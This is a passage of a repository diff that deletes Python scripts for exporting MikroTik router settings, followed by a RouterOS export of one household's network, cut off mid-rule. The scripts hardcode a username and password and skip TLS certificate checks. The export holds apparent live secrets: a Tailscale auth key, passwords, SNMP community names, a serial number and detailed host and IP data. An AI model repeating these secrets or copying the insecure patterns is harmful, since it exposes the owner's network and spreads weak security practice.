config += f"dst-address={rule['dst-address']} "
|
||||
if rule.get('action'):
|
||||
config += f"action={rule['action']} "
|
||||
if rule.get('to-addresses'):
|
||||
config += f"to-addresses={rule['to-addresses']} "
|
||||
config += "\n"
|
||||
|
||||
# Close connection
|
||||
api.close()
|
||||
|
||||
return config
|
||||
|
||||
except Exception as e:
|
||||
print(f"Error getting configuration: {e}")
|
||||
api.close()
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Connection failed: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Export configuration from a MikroTik router')
|
||||
parser.add_argument('host', help='IP address or hostname of the router')
|
||||
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
|
||||
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
|
||||
parser.add_argument('--output', '-o', help='Output filename')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Get router config
|
||||
config = get_router_config(args.host, args.username, args.password, args.port)
|
||||
|
||||
if config:
|
||||
if args.output:
|
||||
with open(args.output, 'w') as f:
|
||||
f.write(config)
|
||||
print(f"\n✓ Configuration exported to: {args.output}")
|
||||
else:
|
||||
print("\n=== Configuration Export ===")
|
||||
print(config)
|
||||
|
||||
return 0
|
||||
else:
|
||||
print("\n✗ Failed to export configuration")
|
||||
return 1
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
|
|
@ -1,259 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import ssl
|
||||
import sys
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
from librouteros import connect
|
||||
from librouteros.query import Key
|
||||
except ImportError:
|
||||
print("Error: librouteros module not found")
|
||||
print("Install with: pip install librouteros")
|
||||
sys.exit(1)
|
||||
|
||||
def get_router_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
|
||||
"""
|
||||
Connect to a MikroTik router and retrieve network configuration
|
||||
|
||||
Args:
|
||||
host: IP address or hostname of the router
|
||||
username: Router username (default: grahamro)
|
||||
password: Router password
|
||||
port: API-SSL port (default: 8729)
|
||||
|
||||
Returns:
|
||||
Dictionary containing router configuration data
|
||||
"""
|
||||
|
||||
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
|
||||
|
||||
# SSL context for secure connection
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
|
||||
try:
|
||||
# Connect to router
|
||||
api = connect(
|
||||
username=username,
|
||||
password=password,
|
||||
host=host,
|
||||
port=port,
|
||||
ssl_wrapper=ctx.wrap_socket
|
||||
)
|
||||
|
||||
print("✓ Connected successfully\n")
|
||||
|
||||
# Get router identity
|
||||
identity = None
|
||||
try:
|
||||
identity_data = api('/system/identity/print')
|
||||
if identity_data:
|
||||
identity = identity_data[0].get('name', 'Unknown')
|
||||
print(f"Router Identity: {identity}\n")
|
||||
except:
|
||||
print("Could not retrieve router identity\n")
|
||||
|
||||
# Get IP addresses
|
||||
print("=== IP Addresses ===")
|
||||
ip_addresses = api('/ip/address/print')
|
||||
|
||||
subnets = []
|
||||
for addr in ip_addresses:
|
||||
if not addr.get('disabled', False):
|
||||
address = addr['address']
|
||||
interface = addr.get('interface', 'unknown')
|
||||
network = addr.get('network', '')
|
||||
comment = addr.get('comment', '')
|
||||
dynamic = addr.get('dynamic', False)
|
||||
|
||||
print(f"Interface: {interface}")
|
||||
print(f" Address: {address}")
|
||||
print(f" Network: {network}")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
if dynamic:
|
||||
print(f" Dynamic: Yes")
|
||||
print()
|
||||
|
||||
subnets.append({
|
||||
'address': address,
|
||||
'network': network,
|
||||
'interface': interface,
|
||||
'comment': comment,
|
||||
'dynamic': dynamic
|
||||
})
|
||||
|
||||
# Get interfaces
|
||||
print("\n=== Active Interfaces ===")
|
||||
interfaces = api('/interface/print')
|
||||
active_interfaces = []
|
||||
|
||||
for iface in interfaces:
|
||||
if not iface.get('disabled', False) and iface.get('running', False):
|
||||
name = iface['name']
|
||||
itype = iface.get('type', 'unknown')
|
||||
mac = iface.get('mac-address', 'N/A')
|
||||
comment = iface.get('comment', '')
|
||||
mtu = iface.get('mtu', 'default')
|
||||
|
||||
active_interfaces.append({
|
||||
'name': name,
|
||||
'type': itype,
|
||||
'mac': mac,
|
||||
'comment': comment,
|
||||
'mtu': mtu
|
||||
})
|
||||
|
||||
print(f"{name} ({itype})")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
if mac != 'N/A':
|
||||
print(f" MAC: {mac}")
|
||||
|
||||
# Get VLANs
|
||||
print("\n\n=== VLANs ===")
|
||||
vlans = []
|
||||
try:
|
||||
vlan_interfaces = api('/interface/vlan/print')
|
||||
for vlan in vlan_interfaces:
|
||||
if not vlan.get('disabled', False):
|
||||
name = vlan['name']
|
||||
vlan_id = vlan.get('vlan-id', 'unknown')
|
||||
interface = vlan.get('interface', 'unknown')
|
||||
|
||||
vlans.append({
|
||||
'name': name,
|
||||
'vlan_id': vlan_id,
|
||||
'interface': interface
|
||||
})
|
||||
|
||||
print(f"{name}: VLAN {vlan_id} on {interface}")
|
||||
except:
|
||||
print("No VLANs found or access denied")
|
||||
|
||||
# Get PPPoE servers
|
||||
print("\n\n=== PPPoE Servers ===")
|
||||
pppoe_servers = []
|
||||
try:
|
||||
servers = api('/interface/pppoe-server/server/print')
|
||||
for server in servers:
|
||||
if not server.get('disabled', False):
|
||||
name = server.get('service-name', 'unnamed')
|
||||
interface = server.get('interface', 'unknown')
|
||||
|
||||
pppoe_servers.append({
|
||||
'service_name': name,
|
||||
'interface': interface
|
||||
})
|
||||
|
||||
print(f"Service: {name} on {interface}")
|
||||
except:
|
||||
print("No PPPoE servers found or access denied")
|
||||
|
||||
# Get static routes
|
||||
print("\n\n=== Static Routes ===")
|
||||
routes = []
|
||||
try:
|
||||
static_routes = api('/ip/route/print')
|
||||
for route in static_routes:
|
||||
if not route.get('dynamic', False) and not route.get('disabled', False):
|
||||
dst = route.get('dst-address', '')
|
||||
gateway = route.get('gateway', '')
|
||||
distance = route.get('distance', '')
|
||||
comment = route.get('comment', '')
|
||||
|
||||
if dst != '0.0.0.0/0': # Skip default route for brevity
|
||||
routes.append({
|
||||
'destination': dst,
|
||||
'gateway': gateway,
|
||||
'distance': distance,
|
||||
'comment': comment
|
||||
})
|
||||
|
||||
print(f"{dst} via {gateway}")
|
||||
if comment:
|
||||
print(f" Comment: {comment}")
|
||||
except:
|
||||
print("Could not retrieve routes")
|
||||
|
||||
# Close connection
|
||||
api.close()
|
||||
|
||||
# Compile all data
|
||||
router_data = {
|
||||
'host': host,
|
||||
'identity': identity,
|
||||
'timestamp': datetime.now().isoformat(),
|
||||
'subnets': subnets,
|
||||
'interfaces': active_interfaces,
|
||||
'vlans': vlans,
|
||||
'pppoe_servers': pppoe_servers,
|
||||
'routes': routes
|
||||
}
|
||||
|
||||
print(f"\n\n=== Summary ===")
|
||||
print(f"Router: {identity or host}")
|
||||
print(f"Found {len(subnets)} IP addresses/subnets")
|
||||
print(f"Found {len(active_interfaces)} active interfaces")
|
||||
print(f"Found {len(vlans)} VLANs")
|
||||
print(f"Found {len(pppoe_servers)} PPPoE servers")
|
||||
print(f"Found {len(routes)} static routes")
|
||||
|
||||
return router_data
|
||||
|
||||
except Exception as e:
|
||||
print(f"✗ Connection failed: {e}")
|
||||
return None
|
||||
|
||||
|
||||
def save_router_data(data, filename=None):
|
||||
"""Save router data to a JSON file"""
|
||||
if not filename:
|
||||
# Generate filename based on router identity or IP
|
||||
identity = data.get('identity') or data.get('host', 'router')
|
||||
identity_clean = identity.replace(' ', '_').replace('/', '_').replace('.', '_')
|
||||
filename = f"router_data_{identity_clean}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
|
||||
|
||||
with open(filename, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
print(f"\nData saved to: {filename}")
|
||||
return filename
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='Retrieve configuration from a MikroTik router')
|
||||
parser.add_argument('host', help='IP address or hostname of the router')
|
||||
parser.add_argument('--username', '-u', default='grahamro', help='Router username (default: grahamro)')
|
||||
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
|
||||
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
|
||||
parser.add_argument('--output', '-o', help='Output filename (default: auto-generated)')
|
||||
parser.add_argument('--json', action='store_true', help='Output raw JSON to stdout')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
# Get router data
|
||||
data = get_router_data(args.host, args.username, args.password, args.port)
|
||||
|
||||
if data:
|
||||
if args.json:
|
||||
# Output JSON to stdout
|
||||
print("\n=== JSON Output ===")
|
||||
print(json.dumps(data, indent=2))
|
||||
else:
|
||||
# Save to file
|
||||
save_router_data(data, args.output)
|
||||
print("\n✓ Router data retrieved successfully")
|
||||
else:
|
||||
print("\n✗ Failed to retrieve router data")
|
||||
return 1
|
||||
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
493
home.rsc
493
home.rsc
|
|
@ -1,493 +0,0 @@
|
|||
# 2026-04-18 12:49:26 by RouterOS 7.22.1
|
||||
# software id = ZGNY-ZJW7
|
||||
#
|
||||
# model = RB5009UG+S+
|
||||
# serial number = HC907QQ15FR
|
||||
/interface bridge
|
||||
add admin-mac=74:4D:28:1A:67:0A auto-mac=no comment=defconf mtu=1500 name=\
|
||||
bridge port-cost-mode=short
|
||||
add name=containers
|
||||
add mtu=1500 name=docker port-cost-mode=short
|
||||
add mtu=1500 name=dockers port-cost-mode=short
|
||||
add disabled=yes mtu=1500 name=public
|
||||
/interface ethernet
|
||||
set [ find default-name=ether1 ] l2mtu=9578
|
||||
set [ find default-name=ether2 ] l2mtu=9578
|
||||
set [ find default-name=ether3 ] l2mtu=9578 name=ether3-servers
|
||||
set [ find default-name=ether4 ] l2mtu=9578 name=ether4-house-60g
|
||||
set [ find default-name=ether5 ] l2mtu=9578 name=ether5-vntx-static
|
||||
set [ find default-name=ether6 ] l2mtu=9578 name=ether6-tmobile
|
||||
set [ find default-name=ether7 ] l2mtu=9578 name=ether7-starlink
|
||||
set [ find default-name=ether8 ] disabled=yes l2mtu=9578
|
||||
set [ find default-name=sfp-sfpplus1 ] l2mtu=9586
|
||||
/interface pppoe-client
|
||||
add interface=ether8 max-mtu=1500 name=pppoe-out1 use-peer-dns=yes user=\
|
||||
grahammcintire
|
||||
/interface veth
|
||||
add address=172.17.0.2/16 container-mac-address=4C:B3:A4:3A:BC:FF dhcp=no \
|
||||
gateway=172.17.0.1 gateway6="" mac-address=4C:B3:A4:3A:BC:FE name=veth1
|
||||
/interface list
|
||||
add comment=defconf name=WAN
|
||||
add comment=defconf name=LAN
|
||||
/interface wireless security-profiles
|
||||
set [ find default=yes ] supplicant-identity=MikroTik
|
||||
/ip pool
|
||||
add name=home ranges=10.0.17.1-10.0.18.249
|
||||
add name=dhcp_pool1 ranges=10.0.8.1-10.0.14.254
|
||||
/ip dhcp-server
|
||||
add add-arp=yes address-pool=home bootp-lease-time=lease-time bootp-support=\
|
||||
dynamic interface=bridge lease-time=8h name=server1
|
||||
add address-pool=dhcp_pool1 interface=ether3-servers name=servers
|
||||
/ipv6 pool
|
||||
add name=tunnerbroker prefix=2001:470:ba50::/48 prefix-length=48
|
||||
/port
|
||||
set 0 baud-rate=9600
|
||||
/interface ppp-client
|
||||
add apn=internet name=ppp-out1 port=usb1
|
||||
/queue type
|
||||
set 0 kind=fq-codel
|
||||
/routing table
|
||||
add disabled=no fib name=vntx
|
||||
add disabled=no fib name=tmo
|
||||
/snmp community
|
||||
set [ find default=yes ] addresses=10.0.16.0/22,10.0.0.0/8,204.110.188.0/22 \
|
||||
name=kdyyJrT0Mm
|
||||
add addresses=::/0 authentication-protocol=SHA1 encryption-protocol=AES name=\
|
||||
testtest security=private
|
||||
add addresses=10.0.16.0/22 name=testlocal
|
||||
/system script
|
||||
add dont-require-permissions=no name=api-ssl-certgen owner=admin policy=\
|
||||
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":\
|
||||
local hostname \"router.example.com\"; :local caName \"local-ca\"; :local \
|
||||
certName \"api-ssl-cert\"; :local sanList (\"DNS:\" . \$hostname); :foreac\
|
||||
h i in=[/ip/address find] do={ :local addr [/ip/address get \$i address]; \
|
||||
:set addr [:pick \$addr 0 [:find \$addr \"/\"]]; :set sanList (\$sanList .\
|
||||
\_\",IP:\" . \$addr); }; /certificate add name=\$caName common-name=\$caNa\
|
||||
me key-usage=key-cert-sign,crl-sign days-valid=3650; /certificate sign \$c\
|
||||
aName; /certificate add name=\$certName common-name=\$hostname subject-alt\
|
||||
-name=\$sanList key-usage=digital-signature,key-encipherment,tls-server da\
|
||||
ys-valid=825; /certificate sign \$certName ca=\$caName; /certificate set \
|
||||
\$certName trusted=yes; /ip/service set api-ssl certificate=\$certName dis\
|
||||
abled=no; /ip/service set api disabled=yes;"
|
||||
/container
|
||||
add envlists=tailscale interface=veth1 layer-dir="" name=\
|
||||
tailscale-mikrotik:latest remote-image=\
|
||||
fluent-networks/tailscale-mikrotik:latest root-dir=\
|
||||
/disk1/containers/tailscale start-on-boot=yes workdir=/
|
||||
/container config
|
||||
set registry-url=https://ghcr.io tmpdir=/disk1/pull
|
||||
/container envs
|
||||
add key=ADVERTISE_ROUTES list=tailscale value=10.0.8.0/22,10.0.16.0/22
|
||||
add key=AUTH_KEY list=tailscale value=\
|
||||
tskey-auth-k9B9aH7Cyk11CNTRL-yYzpiX8XThCFiVV3pVMthCUKfN8wKTjBD
|
||||
add key=CONTAINER_GATEWAY list=tailscale value=172.17.0.1
|
||||
add key=PASSWORD list=tailscale value=h8xd9tkryg
|
||||
add key=RUNNING_SCRIPT list=tailscale value=/var/lib/tailscale/running.sh
|
||||
add key=STARTUP_SCRIPT list=tailscale value=/var/lib/tailscale/startup.sh
|
||||
add key=TAILSCALE_ARGS list=tailscale value=\
|
||||
"--accept-routes --advertise-exit-node"
|
||||
add key=UPDATE_TAILSCALE list=tailscale value=""
|
||||
/container mounts
|
||||
add dst=/var/lib/tailscale list=tailscale src=/tailscale
|
||||
/ip smb
|
||||
set enabled=no
|
||||
/interface bridge port
|
||||
add bridge=bridge comment=defconf ingress-filtering=no interface=\
|
||||
ether4-house-60g internal-path-cost=10 path-cost=10
|
||||
add bridge=bridge comment=defconf ingress-filtering=no interface=sfp-sfpplus1 \
|
||||
internal-path-cost=10 path-cost=10
|
||||
add bridge=dockers interface=veth1
|
||||
/interface detect-internet
|
||||
set detect-interface-list=all internet-interface-list=all lan-interface-list=\
|
||||
LAN wan-interface-list=WAN
|
||||
/interface list member
|
||||
add comment=defconf interface=bridge list=LAN
|
||||
add interface=ether5-vntx-static list=WAN
|
||||
add interface=ether6-tmobile list=WAN
|
||||
add disabled=yes interface=ether8 list=WAN
|
||||
add interface=ether7-starlink list=WAN
|
||||
add interface=*14 list=WAN
|
||||
/interface ovpn-server server
|
||||
add mac-address=FE:1C:5C:10:15:58 name=ovpn-server1
|
||||
/ip address
|
||||
add address=10.0.16.254/24 interface=bridge network=10.0.16.0
|
||||
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
|
||||
add address=204.110.191.1/27 interface=ether5-vntx-static network=\
|
||||
204.110.191.0
|
||||
add address=10.0.19.254/22 interface=bridge network=10.0.16.0
|
||||
add address=10.99.1.1/24 interface=*16 network=10.99.1.0
|
||||
add address=10.0.101.253/24 disabled=yes interface=ether4-house-60g network=\
|
||||
10.0.101.0
|
||||
add address=10.0.15.254/21 interface=ether3-servers network=10.0.8.0
|
||||
/ip dhcp-client
|
||||
add add-default-route=no interface=ether6-tmobile name=client1 use-peer-dns=\
|
||||
no use-peer-ntp=no
|
||||
# Interface not active
|
||||
add add-default-route=no interface=ether7-starlink name=client2 use-peer-dns=\
|
||||
no use-peer-ntp=no
|
||||
/ip dhcp-server lease
|
||||
add address=10.0.16.2 client-id=\
|
||||
ff:85:d2:82:8a:0:2:0:0:ab:11:cb:63:d8:6c:a1:65:c1:58 comment=unifi \
|
||||
mac-address=74:83:C2:1D:4C:51 server=server1
|
||||
add address=10.0.16.251 client-id=1:34:98:b5:ae:bc:e3 mac-address=\
|
||||
34:98:B5:AE:BC:E3 server=server1
|
||||
add address=10.0.16.1 client-id=1:c8:7f:54:d0:4:2f mac-address=\
|
||||
C8:7F:54:D0:04:2F server=server1
|
||||
add address=10.0.19.250 client-id=\
|
||||
ff:11:94:ec:20:0:1:0:1:2d:e2:38:27:bc:24:11:94:ec:20 mac-address=\
|
||||
BC:24:11:94:EC:20 server=server1
|
||||
add address=10.0.16.4 client-id=\
|
||||
ff:d8:d6:53:a5:0:2:0:0:ab:11:d0:cc:22:d6:96:fe:cd:b1 comment=g.vntx.net \
|
||||
mac-address=8C:AE:4C:DD:84:92 server=server1
|
||||
add address=10.0.19.136 client-id=1:38:b4:d3:30:3f:4 comment=dishwasher \
|
||||
mac-address=38:B4:D3:30:3F:04 server=server1
|
||||
add address=10.0.19.225 client-id=1:2c:cf:67:d:b9:4c mac-address=\
|
||||
2C:CF:67:0D:B9:4C server=server1
|
||||
add address=10.0.18.4 client-id=1:48:da:35:6f:86:a3 comment=nanokvm \
|
||||
mac-address=48:DA:35:6F:86:A3 server=server1
|
||||
add address=10.0.18.228 client-id=1:e0:63:da:0:70:89 mac-address=\
|
||||
E0:63:DA:00:70:89 server=server1
|
||||
add address=10.0.17.189 client-id=1:c4:e7:ae:17:6d:d3 mac-address=\
|
||||
C4:E7:AE:17:6D:D3 server=server1
|
||||
add address=10.0.15.1 client-id=1:bc:24:11:9b:48:92 mac-address=\
|
||||
BC:24:11:9B:48:92 server=servers
|
||||
add address=10.0.15.2 client-id=1:bc:24:11:62:7b:3f mac-address=\
|
||||
BC:24:11:62:7B:3F server=servers
|
||||
add address=10.0.15.3 client-id=1:bc:24:11:d4:2f:ed mac-address=\
|
||||
BC:24:11:D4:2F:ED server=servers
|
||||
add address=10.0.15.4 client-id=1:bc:24:11:43:3f:ff mac-address=\
|
||||
BC:24:11:43:3F:FF server=servers
|
||||
add address=10.0.15.5 client-id=1:bc:24:11:62:c4:8f mac-address=\
|
||||
BC:24:11:62:C4:8F server=servers
|
||||
add address=10.0.15.6 client-id=1:bc:24:11:3f:8e:1a mac-address=\
|
||||
BC:24:11:3F:8E:1A server=servers
|
||||
add address=10.0.15.20 client-id=1:2c:cf:67:d:b9:4c mac-address=\
|
||||
2C:CF:67:0D:B9:4C server=servers
|
||||
add address=10.0.15.253 client-id=1:78:9a:18:3f:cb:fe mac-address=\
|
||||
78:9A:18:3F:CB:FE server=servers
|
||||
add address=10.0.19.241 client-id=1:f4:92:bf:91:8a:61 mac-address=\
|
||||
F4:92:BF:91:8A:61 server=server1
|
||||
add address=10.0.15.21 mac-address=BC:24:11:98:1C:19 server=servers
|
||||
add address=10.0.17.185 client-id=1:74:4d:bd:c5:87:cc mac-address=\
|
||||
74:4D:BD:C5:87:CC server=server1
|
||||
add address=10.0.17.17 client-id=1:f0:24:f9:55:b8:94 mac-address=\
|
||||
F0:24:F9:55:B8:94 server=server1
|
||||
add address=10.0.17.184 mac-address=50:02:91:38:EB:98 server=server1
|
||||
add address=10.0.16.3 client-id=1:52:54:0:5c:f7:36 mac-address=\
|
||||
52:54:00:5C:F7:36 server=server1
|
||||
add address=10.0.17.25 client-id=1:20:f8:3b:9:49:cd mac-address=\
|
||||
20:F8:3B:09:49:CD server=server1
|
||||
add address=10.0.17.51 mac-address=40:F5:20:C5:9B:EE server=server1
|
||||
add address=10.0.16.5 client-id=\
|
||||
ff:ef:a8:c2:c6:0:1:0:1:31:4c:1f:7:b0:dc:ef:a8:c2:c6 mac-address=\
|
||||
B0:DC:EF:A8:C2:C6 server=server1
|
||||
add address=10.0.17.22 mac-address=EC:94:CB:AA:56:A3 server=server1
|
||||
add address=10.0.15.23 client-id=1:36:4a:9d:b7:36:fc mac-address=\
|
||||
36:4A:9D:B7:36:FC server=servers
|
||||
add address=10.0.15.24 client-id=\
|
||||
ff:23:7c:24:3e:0:2:0:0:ab:11:ad:b5:e:a0:e1:d9:51:1a mac-address=\
|
||||
F6:86:CC:17:A7:F9 server=servers
|
||||
add address=10.0.17.42 mac-address=34:AB:95:12:8B:DB server=server1
|
||||
/ip dhcp-server network
|
||||
add address=10.0.8.0/21 domain=mcintire.me gateway=10.0.15.254
|
||||
add address=10.0.16.0/22 dns-server=10.0.19.250,9.9.9.9 domain=w5isp.com \
|
||||
gateway=10.0.19.254
|
||||
/ip dns
|
||||
set servers=9.9.9.9,149.112.112.112
|
||||
/ip dns static
|
||||
add address=192.168.88.1 comment=defconf name=router.lan type=A
|
||||
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Lutron-01f3a316.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Lutron-01f3a316 ttl=15m type=A
|
||||
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
homeassistant.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
homeassistant ttl=15m type=A
|
||||
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Tower.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Tower ttl=15m type=A
|
||||
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
|
||||
name=10g-switch-house.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
|
||||
name=10g-switch-house ttl=15m type=A
|
||||
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Living-Room.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Living-Room ttl=15m type=A
|
||||
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
|
||||
name="Office 2.5G Switch.w5isp.com" ttl=15m type=A
|
||||
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
|
||||
name="Office 2.5G Switch" ttl=15m type=A
|
||||
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
HallwayAP.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
LivingRoom.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
HallwayAP ttl=15m type=A
|
||||
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
LivingRoom ttl=15m type=A
|
||||
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
OutsideNE.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
OutsideNE ttl=15m type=A
|
||||
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
HousePoESwitch.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
HousePoESwitch ttl=15m type=A
|
||||
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
driveway.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
driveway ttl=15m type=A
|
||||
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Garins-MBP.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Garins-MBP ttl=15m type=A
|
||||
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Apple-Watch.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Apple-Watch ttl=15m type=A
|
||||
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
gmcparallels.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
gmcparallels ttl=15m type=A
|
||||
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
mbp14.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
mbp14 ttl=15m type=A
|
||||
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Office.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
Office ttl=15m type=A
|
||||
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
openspot2.w5isp.com ttl=15m type=A
|
||||
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
|
||||
openspot2 ttl=15m type=A
|
||||
/ip firewall address-list
|
||||
add address=10.0.16.0/22 list=local
|
||||
add address=185.90.196.0/22 list=starlink
|
||||
add address=10.0.16.78 disabled=yes list=iot-blocked
|
||||
add address=10.0.16.80 disabled=yes list=iot-blocked
|
||||
add address=81.171.92.0/23 list=nzb
|
||||
add address=82.68.15.22 list=nzb
|
||||
add address=85.12.62.0/24 list=nzb
|
||||
add address=10.0.17.189 list=iot-blocked
|
||||
add address=news.eweka.nl list=eweka-tmo
|
||||
add address=185.90.196.0/22 comment="eweka range" list=eweka-tmo
|
||||
add address=81.171.92.0/23 comment="eweka range" list=eweka-tmo
|
||||
/ip firewall filter
|
||||
add action=accept chain=input dst-address=0.0.0.0 protocol=udp src-address=\
|
||||
104.238.146.79
|
||||
add action=accept chain=forward dst-port=25565 in-interface=\
|
||||
ether5-vntx-static log=yes protocol=tcp
|
||||
add action=accept chain=forward dst-port=25565 in-interface=\
|
||||
ether5-vntx-static log=yes protocol=udp
|
||||
add action=drop chain=forward out-interface=ether5-vntx-static \
|
||||
src-address-list=iot-blocked
|
||||
add action=drop chain=forward out-interface=ether6-tmobile src-address-list=\
|
||||
iot-blocked
|
||||
add action=drop chain=forward out-interface=all-ppp src-address-list=\
|
||||
iot-blocked
|
||||
add action=drop chain=forward out-interface=ether7-starlink src-address-list=\
|
||||
iot-blocked
|
||||
add action=accept chain=input comment=\
|
||||
"defconf: accept established,related,untracked" connection-state=\
|
||||
established,related,untracked
|
||||
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
|
||||
invalid
|
||||
add action=reject chain=forward comment="Block roblox.com" disabled=yes \
|
||||
protocol=tcp reject-with=icmp-host-unreachable src-address-list=local \
|
||||
tls-host=*.roblox.com
|
||||
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
|
||||
add action=accept chain=input comment=\
|
||||
"defconf: accept to local loopback (for CAPsMAN)" dst-address=127.0.0.1
|
||||
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
|
||||
in-interface-list=!LAN
|
||||
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
|
||||
ipsec-policy=in,ipsec
|
||||
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
|
||||
ipsec-policy=out,ipsec
|
||||
add action=accept chain=forward comment="no fasttrack for eweka" \
|
||||
connection-mark=eweka-conn
|
||||
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
|
||||
connection-state=established,related
|
||||
add action=accept chain=forward comment=\
|
||||
"defconf: accept established,related, untracked" connection-state=\
|
||||
established,related,untracked
|
||||
add action=drop chain=forward comment="defconf: drop invalid" \
|
||||
connection-state=invalid
|
||||
add action=drop chain=forward comment=\
|
||||
"defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
|
||||
connection-state=new in-interface-list=WAN
|
||||
add action=drop chain=input disabled=yes dst-port=53 in-interface=ether8 \
|
||||
protocol=udp src-address=!10.0.16.0/22
|
||||
/ip firewall mangle
|
||||
add action=change-mss chain=forward comment="MSS clamp VNTX" new-mss=1400 \
|
||||
out-interface=ether5-vntx-static protocol=tcp tcp-flags=syn
|
||||
add action=change-mss chain=forward comment="MSS clamp VNTX inbound" \
|
||||
in-interface=ether5-vntx-static new-mss=1400 protocol=tcp tcp-flags=syn
|
||||
add action=change-mss chain=forward comment="MSS clamp TMO out" new-mss=1460 \
|
||||
out-interface=ether6-tmobile protocol=tcp tcp-flags=syn
|
||||
add action=change-mss chain=forward comment="MSS clamp TMO in" in-interface=\
|
||||
ether6-tmobile new-mss=1460 protocol=tcp tcp-flags=syn
|
||||
add action=change-mss chain=forward comment="MSS clamp Starlink out" new-mss=\
|
||||
1460 out-interface=ether7-starlink protocol=tcp tcp-flags=syn
|
||||
add action=change-mss chain=forward comment="MSS clamp Starlink in" \
|
||||
in-interface=ether7-starlink new-mss=1460 protocol=tcp tcp-flags=syn
|
||||
add action=mark-connection chain=prerouting comment="eweka -> tmo (conn)" \
|
||||
dst-address-list=eweka-tmo new-connection-mark=eweka-conn
|
||||
add action=mark-routing chain=prerouting comment="eweka -> tmo (route)" \
|
||||
